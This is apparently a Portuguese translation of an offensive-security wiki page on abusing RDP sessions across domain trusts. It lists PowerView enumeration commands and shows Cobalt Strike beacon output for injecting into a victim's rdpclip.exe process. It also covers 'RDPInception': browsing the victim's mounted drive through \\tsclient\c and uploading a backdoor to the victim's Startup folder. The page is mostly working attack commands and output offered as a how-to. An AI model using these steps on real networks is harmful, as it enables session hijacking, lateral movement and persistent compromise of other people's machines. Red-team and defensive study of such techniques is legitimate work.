Se o grupo externo tiver acesso RDP a qualquer computador no domínio atual, um atacante pode comprometer esse computador e esperar por ele.
Uma vez que esse usuário tenha acessado via RDP, o atacante pode pivotar para a sessão desse usuário e abusar de suas permissões no domínio externo.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Verifique outras maneiras de roubar sessões com outras ferramentasnesta página.
RDPInception
Se um usuário acessar via RDP em uma máquina onde um atacante está aguardando por ele, o atacante poderá injetar um beacon na sessão RDP do usuário e se a vítima montou seu drive ao acessar via RDP, o atacante poderia acessá-lo.
Nesse caso, você poderia apenas comprometer o computador original da vítima escrevendo um backdoor na pasta de inicialização.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe